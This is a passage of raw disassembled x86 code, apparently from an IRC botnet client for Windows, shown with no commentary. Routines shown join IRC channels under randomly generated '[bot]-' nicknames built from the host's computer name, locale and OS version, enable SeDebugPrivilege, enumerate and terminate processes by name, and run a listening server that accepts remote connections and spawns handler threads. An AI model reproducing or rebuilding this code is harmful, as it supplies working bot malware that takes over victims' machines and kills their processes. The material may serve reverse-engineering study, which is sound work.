		jmp	loc_40D890
; ---------------------------------------------------------------------------


loc_413541:				; CODE XREF: sub_40D2E0+20Ej
					; sub_40D2E0+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 10h
		mov	ds:dword_4C8E3C, edi
		jmp	loc_40D57D
sub_40D2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41358D	proc near		; CODE XREF: sub_40767D+45p
					; sub_40767D+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_42211C	; GetCurrentProcess
		push	eax
		call	ds:dword_43644C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_4135AC
		leave
		retn
; ---------------------------------------------------------------------------


loc_4135AC:				; CODE XREF: sub_41358D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_436424	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4135EA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4135D3
		or	[ebp+var_8], 2
		jmp	short loc_4135D7
; ---------------------------------------------------------------------------


loc_4135D3:				; CODE XREF: sub_41358D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4135D7:				; CODE XREF: sub_41358D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_4364D4	; AdjustTokenPrivileges
		mov	esi, eax


loc_4135EA:				; CODE XREF: sub_41358D+32j
		push	[ebp+var_4]
		call	ds:off_422074
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41358D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135F8	proc near		; CODE XREF: sub_40D2E0+4B66p
					; sub_4137A9+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_436488, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_4137A2
		cmp	ds:dword_43646C, ebx
		jz	loc_4137A2
		cmp	ds:dword_436388, ebx
		jz	loc_4137A2
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41358D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_436488	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413795
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43646C	; Process32First
		mov	esi, ds:off_422074
		test	eax, eax
		jz	loc_413790


loc_41369B:				; CODE XREF: sub_4135F8+BEj
					; sub_4135F8+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_436388	; Process32Next
		test	eax, eax
		jz	loc_413790
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41369B
		cmp	[ebp+arg_C], ebx
		jnz	loc_413748
		cmp	[ebp+arg_4], ebx
		jz	short loc_41369B
		push	[ebp+var_124]
		push	8
		call	ds:dword_436488	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413705
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_436334	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41370B
		lea	eax, [ebp+var_230]
		jmp	short loc_413711
; ---------------------------------------------------------------------------


loc_413705:				; CODE XREF: sub_4135F8+EBj
		push	[ebp+var_124]


loc_41370B:				; CODE XREF: sub_4135F8+103j
		lea	eax, [ebp+var_108]


loc_413711:				; CODE XREF: sub_4135F8+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_415480
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h
		push	edi
		call	esi ; sub_4DB3D5
		jmp	loc_41369B
; ---------------------------------------------------------------------------


loc_413748:				; CODE XREF: sub_4135F8+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41369B
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	ds:dword_4220DC	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi ; sub_4DB3D5
		push	ebx
		push	edi
		call	ds:dword_422158	; TerminateProcess
		test	eax, eax
		jnz	short loc_41378B
		push	edi
		call	esi ; sub_4DB3D5
		jmp	short loc_4137A2
; ---------------------------------------------------------------------------


loc_41378B:				; CODE XREF: sub_4135F8+18Cj
		push	1
		pop	eax
		jmp	short loc_4137A4
; ---------------------------------------------------------------------------


loc_413790:				; CODE XREF: sub_4135F8+9Dj
					; sub_4135F8+B5j
		push	[ebp+var_4]
		call	esi ; sub_4DB3D5


loc_413795:				; CODE XREF: sub_4135F8+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41358D
		pop	ecx
		pop	ecx


loc_4137A2:				; CODE XREF: sub_4135F8+3Aj
					; sub_4135F8+46j ...
		xor	eax, eax


loc_4137A4:				; CODE XREF: sub_4135F8+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4135F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137A9	proc near		; DATA XREF: sub_40D2E0+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_42E5F4
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415480
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413808
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40BAE7
		add	esp, 14h


loc_413808:				; CODE XREF: sub_4137A9+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4135F8
		add	esp, 18h
		test	eax, eax
		jnz	short loc_413830
		push	offset unk_42E5BC
		jmp	short loc_413835
; ---------------------------------------------------------------------------


loc_413830:				; CODE XREF: sub_4137A9+7Ej
		push	offset unk_42E584


loc_413835:				; CODE XREF: sub_4137A9+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415480
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_413868
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40BAE7
		add	esp, 14h


loc_413868:				; CODE XREF: sub_4137A9+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_14]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_4137A9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413887	proc near		; CODE XREF: sub_40D2E0+4B08p
					; sub_415067+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_4220DC	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4138B9
		push	0
		push	esi
		call	ds:dword_422158	; TerminateProcess
		test	eax, eax
		jnz	short loc_4138B9
		push	esi
		xor	edi, edi
		call	ds:off_422074


loc_4138B9:				; CODE XREF: sub_413887+1Aj
					; sub_413887+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138BE	proc near		; CODE XREF: sub_403A1B+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_4154DC
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_422688
		call	sub_415F6C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4138BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138EE	proc near		; DATA XREF: sub_413B7C+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43BECC[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	ds:dword_436450	; select
		test	eax, eax
		jnz	short loc_413972
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_413972:				; CODE XREF: sub_4138EE+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_436480	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_413AF3
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_413AF3
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_413AF3
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4363C4	; getpeername
		test	eax, eax
		jz	short loc_4139EB
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		push	offset dword_42E6E8
		call	sub_40A627
		push	[ebp+arg_0]
		call	sub_415248
		add	esp, 0Ch
		push	edi
		call	ds:dword_422044	; ExitThread


loc_4139EB:				; CODE XREF: sub_4138EE+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	ds:dword_436420	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_413A15
		push	[ebp+var_18]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_415480
		jmp	short loc_413A23
; ---------------------------------------------------------------------------


loc_413A15:				; CODE XREF: sub_4138EE+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_415B90


loc_413A23:				; CODE XREF: sub_4138EE+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_4325D8
		push	dword ptr [esi]
		call	ds:dword_4364B8	; send
		cmp	ds:dword_4C8E4C, edi
		jnz	short loc_413A85
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_413B4D
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413A85
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	ds:dword_4364B8	; send
		push	dword ptr [esi]
		call	ds:dword_436500	; closesocket
		push	[ebp+arg_0]
		call	sub_415248
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_413A85:				; CODE XREF: sub_4138EE+14Cj
					; sub_4138EE+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_42E69C
		call	sub_40A627
		push	[ebp+arg_0]
		call	sub_414A34
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413ACC
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E660
		call	sub_40A627
		push	[ebp+arg_0]
		call	sub_415248
		add	esp, 0Ch
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_413ACC:				; CODE XREF: sub_4138EE+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_42E628
		call	sub_40A627
		push	[ebp+arg_0]
		call	sub_415248
		add	esp, 10h
		push	edi
		call	ds:dword_422044	; ExitThread
sub_4138EE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AF3	proc near		; CODE XREF: sub_4138EE+9Ap
					; sub_4138EE+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436480	; recv
		cmp	eax, 1
		jnz	short loc_413B43
		mov	esi, [ebp+arg_4]


loc_413B11:				; CODE XREF: sub_413AF3+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_413B38
		test	al, al
		jz	short loc_413B47
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436480	; recv
		cmp	eax, 1
		jz	short loc_413B11
		jmp	short loc_413B43
; ---------------------------------------------------------------------------


loc_413B38:				; CODE XREF: sub_413AF3+27j
		push	offset dword_42E724
		call	sub_40A627
		pop	ecx


loc_413B43:				; CODE XREF: sub_413AF3+19j
					; sub_413AF3+43j
		xor	eax, eax
		jmp	short loc_413B4A
; ---------------------------------------------------------------------------


loc_413B47:				; CODE XREF: sub_413AF3+2Bj
		push	1
		pop	eax


loc_413B4A:				; CODE XREF: sub_413AF3+52j
		pop	esi
		leave
		retn
sub_413AF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B4D	proc near		; CODE XREF: sub_4138EE+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413B78
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_42E75C
		call	sub_40A627
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413B78:				; CODE XREF: sub_413B4D+11j
		push	1
		pop	eax
		retn
sub_413B4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B7C	proc near		; DATA XREF: sub_40D2E0+5623o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	ds:dword_4363E0	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_413BD5
		push	eax
		push	offset dword_42E920
		call	sub_40A627
		push	[ebp+var_4C]
		call	sub_415248
		add	esp, 0Ch
		push	edi
		call	ds:dword_422044	; ExitThread


loc_413BD5:				; CODE XREF: sub_413B7C+3Aj
		push	edi
		push	offset loc_413DFA
		call	ds:dword_42215C	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_413C0E
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E8D0
		call	sub_40A627
		pop	ecx
		pop	ecx
		call	ds:dword_4363C8	; WSACleanup
		push	[ebp+var_4C]
		call	sub_415248
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_413C0E:				; CODE XREF: sub_413B7C+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	ds:dword_436468	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	ds:dword_4364E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_413D85
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43BECC[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	ds:dword_436494	; bind
		test	eax, eax
		jnz	loc_413D85
		push	7FFFFFFFh
		push	ebx
		call	ds:dword_436490	; listen
		test	eax, eax
		jnz	loc_413D85
		push	offset dword_42E884
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_40A5B3
		pop	ecx
		mov	[ebp+arg_0], edi


loc_413C9D:				; CODE XREF: sub_413B7C+15Aj
					; sub_413B7C+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	ds:dword_4364FC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_413D88
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	ds:dword_436448	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413C9D
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_42E830
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40A5B3
		push	edi
		lea	eax, [ebp+var_414]
		push	6
		push	eax
		call	sub_414F2C
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	ds:dword_43BEC4[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4138EE
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_413D70


loc_413D5D:				; CODE XREF: sub_413B7C+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_413C9D
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_413D5D
; ---------------------------------------------------------------------------


loc_413D70:				; CODE XREF: sub_413B7C+1DFj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E7E4
		call	sub_40A627
		pop	ecx
		pop	ecx
		jmp	short loc_413D88
; ---------------------------------------------------------------------------


loc_413D85:				; CODE XREF: sub_413B7C+C8j
					; sub_413B7C+ECj ...
		mov	edi, [ebp+arg_0]


loc_413D88:				; CODE XREF: sub_413B7C+13Cj
					; sub_413B7C+207j
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_42E7A0
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_413DC8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_40BAE7
		add	esp, 14h


loc_413DC8:				; CODE XREF: sub_413B7C+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	edi
		call	ds:dword_436500	; closesocket
		push	ebx
		call	ds:dword_436500	; closesocket
		call	ds:dword_4363C8	; WSACleanup
		push	[ebp+var_4C]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	ebx


loc_413DFA:				; DATA XREF: sub_413B7C+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_413B7C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413E04	proc near		; CODE XREF: sub_41416F+49p
					; DATA XREF: _2:off_42E970o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_4159FA
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42ACE0, esi
		jle	short loc_413E5D


loc_413E37:				; CODE XREF: sub_413E04+57j
		call	sub_4154DC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42E9C4
		push	1Ch
		push	edi
		call	sub_4159FA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42ACE0
		jl	short loc_413E37


loc_413E5D:				; CODE XREF: sub_413E04+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E62	proc near		; CODE XREF: sub_40D2E0+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		call	sub_4154DC
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42ACE0
		test	esi, esi
		jle	short loc_413EA5


loc_413E8F:				; CODE XREF: sub_413E62+41j
		call	sub_4154DC
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_413E8F


loc_413EA5:				; CODE XREF: sub_413E62+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413E62	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_42E9CC
		push	eax
		push	esi
		call	ds:dword_422138	; GetComputerNameA
		movsx	eax, ds:byte_42E9CC
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_413EEB:				; CODE XREF: _0:00413EF6j
		cmp	eax, ecx
		jnz	short loc_413EF2
		mov	[ebp-4], edx


loc_413EF2:				; CODE XREF: _0:00413EEDj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_413EEB
		push	61h
		pop	ecx


loc_413EFB:				; CODE XREF: _0:00413F06j
		cmp	eax, ecx
		jnz	short loc_413F02
		mov	[ebp-4], edx


loc_413F02:				; CODE XREF: _0:00413EFDj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_413EFB
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_4159FA
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42ACE0, esi
		jle	short loc_413F47


loc_413F21:				; CODE XREF: _0:00413F45j
		call	sub_4154DC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42E9C4
		push	1Ch
		push	edi
		call	sub_4159FA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42ACE0
		jl	short loc_413F21


loc_413F47:				; CODE XREF: _0:00413F1Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_422160	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_42E9D0
		push	1Ch
		push	edi
		call	sub_4159FA
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42ACE0, esi
		jle	short loc_413FBC


loc_413F96:				; CODE XREF: _0:00413FBAj
		call	sub_4154DC
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42E9C4
		push	1Ch
		push	edi
		call	sub_4159FA
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42ACE0
		jl	short loc_413F96


loc_413FBC:				; CODE XREF: _0:00413F94j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4325D8
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_422124	; GetVersionExA
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_414046
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414026
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_414016
		mov	esi, offset a95	; "95"


loc_414016:				; CODE XREF: _0:0041400Fj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414082
		mov	esi, offset aNt	; "NT"
		jmp	short loc_414082
; ---------------------------------------------------------------------------


loc_414026:				; CODE XREF: _0:00414006j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_414036
		mov	esi, offset a98	; "98"
		jmp	short loc_414082
; ---------------------------------------------------------------------------


loc_414036:				; CODE XREF: _0:0041402Dj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_41407D
		mov	esi, offset aMe	; "ME"
		jmp	short loc_414082
; ---------------------------------------------------------------------------


loc_414046:				; CODE XREF: _0:00413FFDj
